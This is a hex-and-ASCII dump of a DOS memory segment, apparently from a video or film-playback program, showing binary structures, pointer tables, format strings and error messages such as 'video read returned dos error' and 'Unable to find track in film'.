28BA:7060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:7070 A0 07 0F 1F 00 00 18 00 27 00 44 00 4E 00 00 00 ........'.D.N...
28BA:7080 00 00 00 00 D2 A3 BA 28 55 70 BA 28 E8 02 35 02 .......(Up.(..5.
28BA:7090 39 24 99 24 4C 24 6E 24 76 70 BA 28 02 84 70 BA 9$.$L$n$vp.(..p.
28BA:70A0 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 43 A7 38 (............C.8
28BA:70B0 02 0F 25 29 25 00 00 00 00 00 00 00 00 00 00 00 ..%)%...........
28BA:70C0 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 18 00 ................
28BA:70D0 28 00 7B 00 8B 00 00 00 00 00 00 00 D2 A3 BA 28 (.{............(
28BA:70E0 AD 70 BA 28 F5 3F 37 02 B7 24 0C 25 C2 24 E6 24 .p.(.?7..$.%.$.$
28BA:70F0 CE 70 BA 28 02 DC 70 BA 28 00 00 00 00 00 02 A0 .p.(..p.(.......
28BA:7100 07 0F 1F 00 00 19 F9 3A 02 95 25 C7 25 00 00 00 .......:..%.%...
28BA:7110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:7120 A0 07 0F 1F 00 00 17 00 28 00 A0 00 B9 00 00 00 ........(.......
28BA:7130 00 00 00 00 D2 A3 BA 28 05 71 BA 28 C1 59 39 02 .......(.q.(.Y9.
28BA:7140 27 25 91 25 37 25 5A 25 26 71 BA 28 02 34 71 BA '%.%7%Z%&q.(.4q.
28BA:7150 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 14 AA 3B (..............;
28BA:7160 02 AD 25 33 26 00 00 00 00 00 00 00 00 00 00 00 ..%3&...........
28BA:7170 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 8C 70 ...............p
28BA:7180 BA 28 E4 70 BA 28 3C 71 BA 28 34 70 BA 28 E8 02 .(.p.(<q.(4p.(..
28BA:7190 35 02 39 24 39 24 00 00 00 00 00 00 00 00 04 7E 5.9$9$.........~
28BA:71A0 71 BA 28 00 00 00 00 C0 00 E9 08 0F 1F 03 00 8E q.(.............
28BA:71B0 71 BA 28 40 EC 32 02 EA 23 40 24 00 00 00 00 00 q.(@.2..#@$.....
28BA:71C0 00 00 00 01 AF 71 BA 28 00 00 00 00 00 00 A0 07 .....q.(........
28BA:71D0 0F 1F 00 00 3F 00 8E 00 23 00 53 00 00 00 00 00 ....?...#.S.....
28BA:71E0 00 00 D2 A3 BA 28 B3 71 BA 28 E3 0C 31 02 B7 23 .....(.q.(..1..#
28BA:71F0 E7 23 C4 23 CE 23 D4 71 BA 28 02 E2 71 BA 28 00 .#.#.#.q.(..q.(.
28BA:7200 00 00 00 00 02 A0 07 0F 1F 00 00 D2 A3 BA 28 B3 ..............(.
28BA:7210 71 BA 28 9E 72 2F 02 62 23 E7 23 C4 23 CE 23 D4 q.(.r/.b#.#.#.#.
28BA:7220 71 BA 28 02 0B 72 BA 28 EA 71 BA 28 01 02 A0 07 q.(..r.(.q.(....
28BA:7230 0F 1F 00 00 62 00 7C 00 10 00 23 00 00 00 00 00 ....b.|...#.....
28BA:7240 00 00 D2 A3 BA 28 13 72 BA 28 C1 F8 2C 02 D8 22 .....(.r.(..,.."
28BA:7250 60 23 3B 23 48 23 34 72 BA 28 02 42 72 BA 28 EA `#;#H#4r.(.Br.(.
28BA:7260 71 BA 28 01 02 A0 07 0F 1F 00 00 62 00 77 00 3D q.(........b.w.=
28BA:7270 00 4C 00 00 00 00 00 00 00 D2 A3 BA 28 4A 72 BA .L..........(Jr.
28BA:7280 28 43 4D 2A 02 6A 22 D4 22 77 22 99 22 6B 72 BA (CM*.j"."w"."kr.
28BA:7290 28 02 79 72 BA 28 00 00 00 00 00 02 A0 07 0F 1F (.yr.(..........
28BA:72A0 00 00 D2 A3 BA 28 4A 72 BA 28 B2 C8 28 02 28 22 .....(Jr.(..(.("
28BA:72B0 D4 22 77 22 99 22 6B 72 BA 28 02 A2 72 BA 28 81 ."w"."kr.(..r.(.
28BA:72C0 72 BA 28 01 02 A0 07 0F 1F 00 00 64 00 8E 00 71 r.(........d...q
28BA:72D0 00 85 00 00 00 00 00 00 00 D2 A3 BA 28 AA 72 BA ............(.r.
28BA:72E0 28 36 39 27 02 D3 21 27 22 E9 21 F4 21 CB 72 BA (69'..!'".!.!.r.
28BA:72F0 28 02 D9 72 BA 28 00 00 00 00 00 02 A0 07 0F 1F (..r.(..........
28BA:7300 00 00 D2 A3 BA 28 AA 72 BA 28 A5 C2 23 02 89 21 .....(.r.(..#..!
28BA:7310 27 22 E9 21 F4 21 CB 72 BA 28 02 02 73 BA 28 E1 '".!.!.r.(..s.(.
28BA:7320 72 BA 28 01 02 A0 07 0F 1F 02 00 00 55 00 5D 00 r.(.........U.].
28BA:7330 92 00 A0 00 00 00 00 00 43 01 E0 B4 A6 0B 94 B9 ........C.......
28BA:7340 DE 14 00 00 00 00 2C 73 BA 28 00 00 00 00 00 00 ......,s.(......
28BA:7350 00 00 00 00 00 0A 0C 04 25 00 00 3A 73 BA 28 96 ........%..:s.(.
28BA:7360 9A 05 02 5B 1E 6A 1E 00 00 00 00 00 00 00 00 00 ...[.j..........
28BA:7370 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 ................
28BA:7380 33 00 45 00 53 00 66 00 00 00 00 00 00 00 D2 A3 3.E.S.f.........
28BA:7390 BA 28 5F 73 BA 28 AE CE 03 02 08 1E 58 1E 12 1E .(_s.(......X...
28BA:73A0 32 1E 80 73 BA 28 02 8E 73 BA 28 00 00 00 00 00 2..s.(..s.(.....
28BA:73B0 02 A0 07 0F 1F 00 00 A4 88 07 02 CA 1E E1 1E 00 ................
28BA:73C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:73D0 00 00 A0 07 0F 1F 00 00 42 00 55 00 7F 00 99 00 ........B.U.....
28BA:73E0 00 00 00 00 00 00 D2 A3 BA 28 B7 73 BA 28 0C 34 .........(.s.(.4
28BA:73F0 06 02 6E 1E C9 1E 74 1E A1 1E D8 73 BA 28 02 E6 ..n...t....s.(..
28BA:7400 73 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 B7 s.(.............
28BA:7410 49 09 02 2E 1F 62 1F 00 00 00 00 00 00 00 00 01 I....b..........
28BA:7420 5B 73 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 [s.(............
28BA:7430 51 00 5F 00 86 00 9D 00 00 00 00 00 00 00 D2 A3 Q._.............
28BA:7440 BA 28 0F 74 BA 28 EF 2F 08 02 E2 1E 2C 1F EC 1E .(.t.(./....,...
28BA:7450 06 1F 30 74 BA 28 02 3E 74 BA 28 00 00 00 00 00 ..0t.(.>t.(.....
28BA:7460 02 A0 07 0F 1F 00 00 96 73 BA 28 EE 73 BA 28 46 ........s.(.s.(F
28BA:7470 74 BA 28 61 7F 04 02 0B 1E 0B 1E 00 00 00 00 00 t.(a............
28BA:7480 00 00 00 03 67 74 BA 28 00 00 00 00 C0 00 E9 08 ....gt.(........
28BA:7490 0F 1F 02 00 73 74 BA 28 3E 30 F1 01 53 1D 0B 1E ....st.(>0..S...
28BA:74A0 53 1D 0B 1E 00 00 00 00 01 94 74 BA 28 00 00 00 S.........t.(...
28BA:74B0 00 00 0E A0 07 0F 1F 02 00 55 00 5D 00 9C 00 AA .........U.]....
28BA:74C0 00 00 00 00 00 43 01 5E 00 67 00 BB 00 D6 00 B9 .....C.^.g......
28BA:74D0 74 BA 28 30 01 5E 00 66 00 20 00 42 00 C7 74 BA t.(0.^.f. .B..t.
28BA:74E0 28 14 03 76 33 A7 0B 96 B9 DE 14 00 00 00 00 D5 (..v3...........
28BA:74F0 74 BA 28 00 00 00 00 00 00 00 00 00 00 00 0A 0C t.(.............
28BA:7500 04 25 00 00 E3 74 BA 28 FD 6B 0E 02 A1 20 76 21 .%...t.(.k... v!
28BA:7510 00 00 00 00 00 00 00 00 01 04 75 BA 28 00 00 00 ..........u.(...
28BA:7520 00 00 00 A0 07 0F 1F 00 00 4C 00 5C 00 9B 00 AF .........L.\....
28BA:7530 00 00 00 00 00 00 00 D2 A3 BA 28 08 75 BA 28 3D ..........(.u.(=
28BA:7540 DC 0C 02 22 20 A0 20 70 20 79 20 29 75 BA 28 02 ..." . p y )u.(.
28BA:7550 37 75 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 7u.(............
28BA:7560 43 00 54 00 7B 00 94 00 00 00 00 00 00 00 4C 00 C.T.{.........L.
28BA:7570 5C 00 99 00 AF 00 60 75 BA 28 00 00 D2 A3 BA 28 \.....`u.(.....(
28BA:7580 08 75 BA 28 3F 75 BA 28 4F 7F 0B 02 B4 1F 21 20 .u.(?u.(O.....!
28BA:7590 BD 1F FE 1F 6E 75 BA 28 03 7C 75 BA 28 00 00 00 ....nu.(.|u.(...
28BA:75A0 00 04 02 A0 07 0F 1F 00 00 38 00 47 00 56 00 64 .........8.G.V.d
28BA:75B0 00 00 00 00 00 00 00 4C 00 5C 00 99 00 AF 00 A9 .......L.\......
28BA:75C0 75 BA 28 00 00 D2 A3 BA 28 08 75 BA 28 88 75 BA u.(.....(.u.(.u.
28BA:75D0 28 86 6B 0A 02 65 1F AD 1F 69 1F 91 1F B7 75 BA (.k..e...i....u.
28BA:75E0 28 03 C5 75 BA 28 00 00 00 00 04 02 A0 07 0F 1F (..u.(..........
28BA:75F0 03 00 D1 75 BA 28 98 74 BA 28 3E 30 F1 01 53 1D ...u.(.t.(>0..S.
28BA:7600 53 1D 00 00 00 00 00 00 00 00 02 F2 75 BA 28 00 S...........u.(.
28BA:7610 00 00 00 80 00 E9 08 0F 1F 01 00 00 61 00 6D 00 ............a.m.
28BA:7620 A2 00 B5 00 00 00 00 00 38 01 27 00 30 00 67 00 ........8.'.0.g.
28BA:7630 7C 00 1C 76 BA 28 30 01 71 00 82 00 D1 00 ED 00 |..v.(0.q.......
28BA:7640 2A 76 BA 28 64 01 73 00 84 00 46 00 6E 00 38 76 *v.(d.s...F.n.8v
28BA:7650 BA 28 43 01 64 00 72 00 6B 00 8A 00 46 76 BA 28 .(C.d.r.k...Fv.(
28BA:7660 32 01 5D 00 73 00 43 00 50 00 54 76 BA 28 54 01 2.].s.C.P.Tv.(T.
28BA:7670 42 00 4B 00 5F 00 78 00 62 76 BA 28 00 08 DC B6 B.K._.x.bv.(....
28BA:7680 A5 0B 90 B9 00 00 00 00 00 00 70 76 BA 28 00 00 ..........pv.(..
28BA:7690 00 00 00 00 00 00 00 00 00 0A 0C 04 25 00 00 7E ............%..~
28BA:76A0 76 BA 28 5D 3B DF 01 55 1B F5 1C 02 1C F2 1C 00 v.(];..U........
28BA:76B0 00 00 00 01 9F 76 BA 28 00 00 00 00 00 0A A0 07 .....v.(........
28BA:76C0 0F 1F 00 00 39 00 55 00 9D 00 B1 00 00 00 00 00 ....9.U.........
28BA:76D0 00 00 D2 A3 BA 28 A3 76 BA 28 09 67 DC 01 A4 1A .....(.v.(.g....
28BA:76E0 53 1B 04 1B 14 1B C4 76 BA 28 02 D2 76 BA 28 00 S......v.(..v.(.
28BA:76F0 00 00 00 00 02 A0 07 0F 1F 00 00 37 00 5B 00 69 ...........7.[.i
28BA:7700 00 88 00 00 00 00 00 00 00 D2 A3 BA 28 DA 76 BA ............(.v.
28BA:7710 28 63 45 D9 01 5C 1A A2 1A 7C 1A 87 1A FB 76 BA (cE..\...|....v.
28BA:7720 28 02 09 77 BA 28 00 00 00 00 00 02 A0 07 0F 1F (..w.(..........
28BA:7730 00 00 D2 A3 BA 28 DA 76 BA 28 2C 36 D8 01 32 1A .....(.v.(,6..2.
28BA:7740 A2 1A 7C 1A 87 1A FB 76 BA 28 02 32 77 BA 28 11 ..|....v.(.2w.(.
28BA:7750 77 BA 28 01 02 A0 07 0F 1F 00 00 24 00 40 00 A6 w.(........$.@..
28BA:7760 00 C2 00 00 00 00 00 00 00 D2 A3 BA 28 3A 77 BA ............(:w.
28BA:7770 28 86 80 D4 01 4E 19 19 1A 7D 19 CC 19 5B 77 BA (....N...}...[w.
28BA:7780 28 02 69 77 BA 28 00 00 00 00 00 02 A0 07 0F 1F (.iw.(..........
28BA:7790 00 00 35 00 5F 00 22 00 3C 00 00 00 00 00 00 00 ..5._.".<.......
28BA:77A0 D2 A3 BA 28 71 77 BA 28 BB C4 D2 01 E4 18 4C 19 ...(qw.(......L.
28BA:77B0 12 19 1B 19 92 77 BA 28 02 A0 77 BA 28 00 00 00 .....w.(..w.(...
28BA:77C0 00 00 02 A0 07 0F 1F 00 00 12 00 2A 00 6A 00 7B ...........*.j.{
28BA:77D0 00 00 00 00 00 00 00 D2 A3 BA 28 A8 77 BA 28 58 ..........(.w.(X
28BA:77E0 43 D1 01 72 18 E2 18 7A 18 8F 18 C9 77 BA 28 02 C..r...z....w.(.
28BA:77F0 D7 77 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 .w.(............
28BA:7800 D2 A3 BA 28 A8 77 BA 28 A7 51 D0 01 52 18 E2 18 ...(.w.(.Q..R...
28BA:7810 7A 18 8F 18 C9 77 BA 28 02 00 78 BA 28 DF 77 BA z....w.(..x.(.w.
28BA:7820 28 01 02 A0 07 0F 1F 04 00 35 00 57 00 96 00 BA (........5.W....
28BA:7830 00 00 00 00 00 00 00 D2 A3 BA 28 08 78 BA 28 92 ..........(.x.(.
28BA:7840 D1 CD 01 CE 17 50 18 EC 17 FA 17 29 78 BA 28 02 .....P.....)x.(.
28BA:7850 37 78 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 7x.(............
28BA:7860 D2 A3 BA 28 08 78 BA 28 DA 43 CB 01 87 17 50 18 ...(.x.(.C....P.
28BA:7870 EC 17 FA 17 29 78 BA 28 02 60 78 BA 28 3F 78 BA ....)x.(.`x.(?x.
28BA:7880 28 01 02 A0 07 0F 1F 00 00 2B 00 6E 00 7E 00 A4 (........+.n.~..
28BA:7890 00 00 00 00 00 00 00 D2 A3 BA 28 68 78 BA 28 39 ..........(hx.(9
28BA:78A0 7C C6 01 31 17 86 17 4B 17 59 17 89 78 BA 28 02 |..1...K.Y..x.(.
28BA:78B0 97 78 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 .x.(............
28BA:78C0 D2 A3 BA 28 68 78 BA 28 DF 72 C5 01 13 17 86 17 ...(hx.(.r......
28BA:78D0 4B 17 59 17 89 78 BA 28 02 C0 78 BA 28 9F 78 BA K.Y..x.(..x.(.x.
28BA:78E0 28 01 02 A0 07 0F 1F 00 00 38 00 49 00 62 00 72 (........8.I.b.r
28BA:78F0 00 00 00 00 00 00 00 D2 A3 BA 28 C8 78 BA 28 6A ..........(.x.(j
28BA:7900 17 C2 01 97 16 10 17 CE 16 E4 16 E9 78 BA 28 02 ............x.(.
28BA:7910 F7 78 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 .x.(............
28BA:7920 38 00 59 00 71 00 7F 00 00 00 00 00 00 00 D2 A3 8.Y.q...........
28BA:7930 BA 28 FF 78 BA 28 BE 2B BF 01 20 16 95 16 48 16 .(.x.(.+.. ...H.
28BA:7940 5A 16 20 79 BA 28 02 2E 79 BA 28 00 00 00 00 00 Z. y.(..y.(.....
28BA:7950 02 A0 07 0F 1F 00 00 36 00 4F 00 40 00 4F 00 00 .......6.O.@.O..
28BA:7960 00 00 00 00 00 D2 A3 BA 28 36 79 BA 28 17 01 A0 ........(6y.(...
28BA:7970 01 E2 14 1D 16 D3 15 EC 15 57 79 BA 28 02 65 79 .........Wy.(.ey
28BA:7980 BA 28 00 00 00 00 01 02 A0 07 0F 1F 05 00 69 00 .(............i.
28BA:7990 75 00 98 00 A6 00 00 00 00 00 06 10 6E 00 8C 00 u...........n...
28BA:79A0 64 00 87 00 8E 79 BA 28 50 01 5A 00 69 00 6E 00 d....y.(P.Z.i.n.
28BA:79B0 96 00 9C 79 BA 28 27 01 57 3C A5 0B 8E B9 DE 14 ...y.('.W<......
28BA:79C0 00 00 00 00 AA 79 BA 28 00 00 00 00 00 00 00 00 .....y.(........
28BA:79D0 00 00 00 0A 0C 04 25 00 00 B8 79 BA 28 20 5A 86 ......%...y.( Z.
28BA:79E0 01 AB 13 DE 14 00 00 00 00 00 00 00 00 01 D9 79 ...............y
28BA:79F0 BA 28 00 00 00 00 00 0A A0 07 0F 1F 00 00 35 00 .(............5.
28BA:7A00 65 00 91 00 A5 00 00 00 00 00 00 00 D2 A3 BA 28 e..............(
28BA:7A10 DD 79 BA 28 D3 D7 7C 01 FC 12 A8 13 50 13 69 13 .y.(..|.....P.i.
28BA:7A20 FE 79 BA 28 02 0C 7A BA 28 00 00 00 00 00 02 A0 .y.(..z.(.......
28BA:7A30 07 0F 1F 00 00 3A 00 7D 00 4D 00 6A 00 00 00 00 .....:.}.M.j....
28BA:7A40 00 00 00 D2 A3 BA 28 14 7A BA 28 A6 E9 51 01 3A ......(.z.(..Q.:
28BA:7A50 11 F6 12 42 12 55 12 35 7A BA 28 02 43 7A BA 28 ...B.U.5z.(.Cz.(
28BA:7A60 00 00 00 00 00 02 A0 07 0F 1F 03 00 F3 A3 BA 28 ...............(
28BA:7A70 ED 34 4A 01 E9 10 37 11 00 00 00 00 00 00 00 00 .4J...7.........
28BA:7A80 01 6C 7A BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 .lz.(...........
28BA:7A90 00 70 7A BA 28 1C 55 31 01 E6 0F 18 10 00 00 00 .pz.(.U1........
28BA:7AA0 00 00 00 00 00 01 91 7A BA 28 00 00 00 00 00 00 .......z.(......
28BA:7AB0 A0 07 0F 1F 00 00 A1 B7 42 01 9B 10 E8 10 00 00 ........B.......
28BA:7AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:7AD0 00 A0 07 0F 1F 00 00 22 00 6C 00 46 00 98 00 00 .......".l.F....
28BA:7AE0 00 00 00 00 00 70 7A BA 28 B6 7A BA 28 8B C0 37 .....pz.(.z.(..7
28BA:7AF0 01 2A 10 6C 10 35 10 5E 10 D7 7A BA 28 02 E5 7A .*.l.5.^..z.(..z
28BA:7B00 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 ED 7A .(.............z
28BA:7B10 BA 28 2B E2 1B 01 BB 0E 0A 0F 00 00 00 00 00 00 .(+.............
28BA:7B20 00 00 01 0E 7B BA 28 00 00 00 00 00 00 A0 07 0F ....{.(.........
28BA:7B30 1F 00 00 1A 00 6D 00 6A 00 91 00 00 00 00 00 00 .....m.j........
28BA:7B40 00 37 00 54 00 47 00 56 00 33 7B BA 28 00 00 95 .7.T.G.V.3{.(...
28BA:7B50 7A BA 28 12 7B BA 28 70 7A BA 28 94 A5 15 01 70 z.(.{.(pz.(....p
28BA:7B60 0E B6 0E 70 0E B6 0E 41 7B BA 28 03 4F 7B BA 28 ...p...A{.(.O{.(
28BA:7B70 00 00 00 00 04 0E A0 07 0F 1F 00 00 ED 7A BA 28 .............z.(
28BA:7B80 EF 68 2B 01 9B 0F E5 0F 00 00 00 00 00 00 00 00 .h+.............
28BA:7B90 01 7C 7B BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 .|{.(...........
28BA:7BA0 00 35 00 52 00 A7 00 B7 00 33 7B BA 28 00 00 95 .5.R.....3{.(...
28BA:7BB0 7A BA 28 80 7B BA 28 70 7A BA 28 7D 09 25 01 54 z.(.{.(pz.(}.%.T
28BA:7BC0 0F 96 0F 54 0F 96 0F A1 7B BA 28 03 AF 7B BA 28 ...T....{.(..{.(
28BA:7BD0 00 00 00 00 04 0E A0 07 0F 1F 00 00 37 00 4F 00 ............7.O.
28BA:7BE0 3F 00 52 00 33 7B BA 28 00 00 30 00 4D 00 AE 00 ?.R.3{.(..0.M...
28BA:7BF0 B9 00 DC 7B BA 28 00 00 95 7A BA 28 5B 7B BA 28 ...{.(...z.([{.(
28BA:7C00 BB 7B BA 28 70 7A BA 28 2A 4C 11 01 26 0E 6D 0E .{.(pz.(*L..&.m.
28BA:7C10 26 0E 6D 0E EA 7B BA 28 04 F8 7B BA 28 00 00 00 &.m..{.(..{.(...
28BA:7C20 00 04 0E A0 07 0F 1F 00 00 95 7A BA 28 5B 7B BA ..........z.([{.
28BA:7C30 28 BB 7B BA 28 70 7A BA 28 2A 4C 11 01 26 0E 6D (.{.(pz.(*L..&.m
28BA:7C40 0E 26 0E 6D 0E EA 7B BA 28 04 29 7C BA 28 08 7C .&.m..{.(.)|.(.|
28BA:7C50 BA 28 05 0E A0 07 0F 1F 00 00 39 7C BA 28 99 36 .(........9|.(.6
28BA:7C60 FF 00 CF 0C 26 0E 00 00 00 00 00 00 00 00 01 5A ....&..........Z
28BA:7C70 7C BA 28 00 00 00 00 00 0A A0 07 0F 1F 01 00 00 |.(.............
28BA:7C80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:7C90 00 00 00 00 00 00 00 00 00 00 00 00 30 75 00 00 ............0u..
28BA:7CA0 00 00 00 00 00 00 00 00 25 30 35 64 00 25 30 35 ........%05d.%05
28BA:7CB0 75 00 25 30 64 00 25 35 64 00 25 2B 30 35 64 00 u.%0d.%5d.%+05d.
28BA:7CC0 25 30 34 75 00 76 69 64 65 6F 20 72 65 61 64 20 %04u.video read
28BA:7CD0 72 65 74 75 72 6E 65 64 20 64 6F 73 20 65 72 72 returned dos err
28BA:7CE0 6F 72 00 44 61 74 61 20 72 65 71 75 69 72 65 64 or.Data required
28BA:7CF0 20 6C 65 73 73 20 74 68 61 6E 20 72 65 61 64 20 less than read
28BA:7D00 69 6E 20 6C 6F 61 64 20 68 65 61 64 65 72 28 29 in load header()
28BA:7D10 00 42 61 64 20 64 61 74 61 20 62 61 73 65 2C 20 .Bad data base,
28BA:7D20 69 6E 20 6C 6F 61 64 5F 68 65 61 64 65 72 00 76 in load_header.v
28BA:7D30 69 64 65 6F 20 72 65 61 64 20 72 65 74 75 72 6E ideo read return
28BA:7D40 65 64 20 64 6F 73 20 65 72 72 6F 72 20 28 66 69 ed dos error (fi
28BA:7D50 6C 6C 5F 76 62 75 66 29 00 44 61 74 61 20 72 65 ll_vbuf).Data re
28BA:7D60 71 75 69 72 65 64 20 6C 65 73 73 20 74 68 61 6E quired less than
28BA:7D70 20 72 65 61 64 20 28 66 69 6C 6C 5F 76 62 75 66 read (fill_vbuf
28BA:7D80 29 00 4C 65 79 65 6E 64 6F 20 76 69 64 65 6F 20 ).Leyendo video
28BA:7D90 62 75 66 66 65 72 00 00 46 69 6C 65 20 65 72 72 buffer..File err
28BA:7DA0 6F 72 20 69 6E 20 6D 6F 76 65 20 68 65 61 64 00 or in move head.
28BA:7DB0 55 6E 61 62 6C 65 20 74 6F 20 66 69 6E 64 20 74 Unable to find t
28BA:7DC0 72 61 63 6B 20 69 6E 20 66 69 6C 6D 00 00 FF 29 rack in film...)
28BA:7DD0 45 0E 2E DA 43 DF 00 00 00 00 00 00 00 00 00 00 E...C...........
28BA:7DE0 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 CE ................
28BA:7DF0 7D BA 28 80 7E E0 03 B1 3E 65 41 00 00 00 00 00 }.(.~...>eA.....
28BA:7E00 00 00 00 01 EF 7D BA 28 00 00 00 00 00 00 A0 07 .....}.(........
28BA:7E10 0F 1F 00 00 F3 7D BA 28 F4 AC 04 05 58 54 FA 56 .....}.(....XT.V
28BA:7E20 00 00 00 00 00 00 00 00 01 14 7E BA 28 00 00 00 ..........~.(...
28BA:7E30 00 00 00 A0 07 0F 1F 00 00 18 7E BA 28 B7 34 33 ..........~.(.43
28BA:7E40 0B 36 B3 3C B9 00 00 00 00 00 00 00 00 01 39 7E .6.<..........9~
28BA:7E50 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 3D 7E .(............=~
28BA:7E60 BA 28 AC D7 1D 0E 74 D6 2D DA 00 00 00 00 00 00 .(....t.-.......
28BA:7E70 00 00 01 5E 7E BA 28 00 00 00 00 00 00 A0 07 0F ...^~.(.........
28BA:7E80 1F 00 00 62 7E BA 28 03 1E 99 00 88 07 00 09 00 ...b~.(.........
28BA:7E90 00 00 00 00 00 00 00 01 83 7E BA 28 00 00 00 00 .........~.(....
28BA:7EA0 00 00 A0 07 0F 1F 00 00 87 7E BA 28 93 2B A4 08 .........~.(.+..
28BA:7EB0 3B 85 59 87 00 00 00 00 00 00 00 00 01 A8 7E BA ;.Y...........~.
28BA:7EC0 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 AC 7E BA (.............~.
28BA:7ED0 28 EF 02 23 08 10 80 4D 81 00 00 00 00 00 00 00 (..#...M........
28BA:7EE0 00 01 CD 7E BA 28 00 00 00 00 00 00 A0 07 0F 1F ...~.(..........
28BA:7EF0 00 00 D1 7E BA 28 EC 97 18 00 72 01 08 09 00 00 ...~.(....r.....
28BA:7F00 00 00 00 00 00 00 01 F2 7E BA 28 00 00 00 00 00 ........~.(.....
28BA:7F10 00 A0 07 0F 1F 00 00 F6 7E BA 28 A0 B6 F5 0D F0 ........~.(.....
28BA:7F20 D2 70 D6 00 00 00 00 00 00 00 00 01 17 7F BA 28 .p.............(
28BA:7F30 00 00 00 00 00 00 A0 07 0F 1F 00 00 20 00 00 00 ............ ...
28BA:7F40 02 00 56 C3 00 00 00 00 00 00 00 00 00 00 00 00 ..V.............
28BA:7F50 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 04 06 02 ................
28BA:7F60 07 05 00 01 03 01 03 06 02 00 05 07 04 07 02 03 ................
28BA:7F70 01 05 04 06 00 04 02 03 01 05 06 07 00 71 75 69 .............qui
28BA:7F80 74 2E 70 73 70 00 00 00 00 00 EB 39 BA 28 4B 33 t.psp......9.(K3
28BA:7F90 BA 28 40 34 BA 28 48 35 BA 28 00 00 00 00 00 00 .(@4.(H5.(......
28BA:7FA0 00 00 00 00 00 00 BA 3B BA 28 99 3B BA 28 78 3B .......;.(.;.(x;
28BA:7FB0 BA 28 57 3B BA 28 15 3B BA 28 F4 3A BA 28 D3 3A .(W;.(.;.(.:.(.:
28BA:7FC0 BA 28 B2 3A BA 28 91 3A BA 28 70 3A BA 28 4F 3A .(.:.(.:.(p:.(O:
28BA:7FD0 BA 28 2E 3A BA 28 C0 29 BA 28 9F 29 BA 28 7E 29 .(.:.(.).(.).(~)
28BA:7FE0 BA 28 5D 29 BA 28 E1 29 BA 28 93 8E BA 28 5E 7C .(]).(.).(...(^|
28BA:7FF0 BA 28 4B 7A BA 28 6D 79 BA 28 FA 75 BA 28 0A 73 .(Kz.(my.(.u.(.s
28BA:8000 BA 28 DB 6F BA 28 C5 6C BA 28 6F 6A BA 28 A9 69 .(.o.(.l.(oj.(.i
28BA:8010 BA 28 0E 67 BA 28 EC 62 BA 28 9C 60 BA 28 5D 5E .(.g.(.b.(.`.(]^
28BA:8020 BA 28 62 5B BA 28 F4 58 BA 28 C2 56 BA 28 40 55 .(b[.(.X.(.V.(@U
28BA:8030 BA 28 99 52 BA 28 4E 50 BA 28 08 50 BA 28 E2 4D .(.R.(NP.(.P.(.M
28BA:8040 BA 28 60 47 BA 28 80 45 BA 28 5C 44 BA 28 AF 42 .(`G.(.E.(\D.(.B
28BA:8050 BA 28 7B 40 BA 28 F5 3F BA 28 5F 2B BA 28 3A 2B .({@.(.?.(_+.(:+
28BA:8060 BA 28 00 00 00 00 00 00 93 8E BA 28 03 40 00 00 .(.........(.@..
28BA:8070 00 00 40 00 5E 7C BA 28 03 00 00 00 00 00 40 00 ..@.^|.(......@.
28BA:8080 4B 7A BA 28 03 00 00 00 00 00 40 00 6D 79 BA 28 Kz.(......@.my.(
28BA:8090 01 00 00 00 01 00 00 00 FA 75 BA 28 00 60 00 00 .........u.(.`..
28BA:80A0 00 40 00 00 0A 73 BA 28 00 60 00 00 00 40 00 00 .@...s.(.`...@..
28BA:80B0 DB 6F BA 28 00 40 00 00 00 40 00 00 C5 6C BA 28 .o.(.@...@...l.(
28BA:80C0 00 01 00 00 00 01 00 00 6F 6A BA 28 00 01 00 00 ........oj.(....
28BA:80D0 00 01 00 00 A9 69 BA 28 00 01 00 00 00 01 00 00 .....i.(........
28BA:80E0 0E 67 BA 28 00 01 00 00 00 01 00 00 EC 62 BA 28 .g.(.........b.(
28BA:80F0 7F FC 0F 00 00 01 00 00 9C 60 BA 28 02 00 00 00 .........`.(....
28BA:8100 02 00 00 00 5D 5E BA 28 20 00 00 00 20 00 00 00 ....]^.( ... ...
28BA:8110 62 5B BA 28 00 04 00 00 00 04 00 00 F4 58 BA 28 b[.(.........X.(
28BA:8120 05 00 00 00 00 00 40 00 C2 56 BA 28 7F FC 0F 00 ......@..V.(....
28BA:8130 00 00 40 00 40 55 BA 28 03 40 00 00 00 00 40 00 ..@.@U.(.@....@.
28BA:8140 99 52 BA 28 00 60 02 00 00 00 40 00 4E 50 BA 28 .R.(.`....@.NP.(
28BA:8150 7F FC 0F 00 00 00 40 00 08 50 BA 28 00 00 02 00 ......@..P.(....
28BA:8160 00 02 00 00 E2 4D BA 28 0C 04 00 00 08 00 00 00 .....M.(........
28BA:8170 60 47 BA 28 00 00 00 00 80 00 00 00 80 45 BA 28 `G.(.........E.(
28BA:8180 80 00 00 00 80 00 00 00 5C 44 BA 28 80 00 00 00 ........\D.(....
28BA:8190 80 00 00 00 AF 42 BA 28 80 00 00 00 80 00 00 00 .....B.(........
28BA:81A0 7B 40 BA 28 80 00 00 00 80 00 00 00 F5 3F BA 28 {@.(.........?.(
28BA:81B0 80 00 00 00 80 00 00 00 5F 2B BA 28 80 00 00 00 ........_+.(....
28BA:81C0 80 00 00 00 3A 2B BA 28 80 00 00 00 80 00 00 00 ....:+.(........
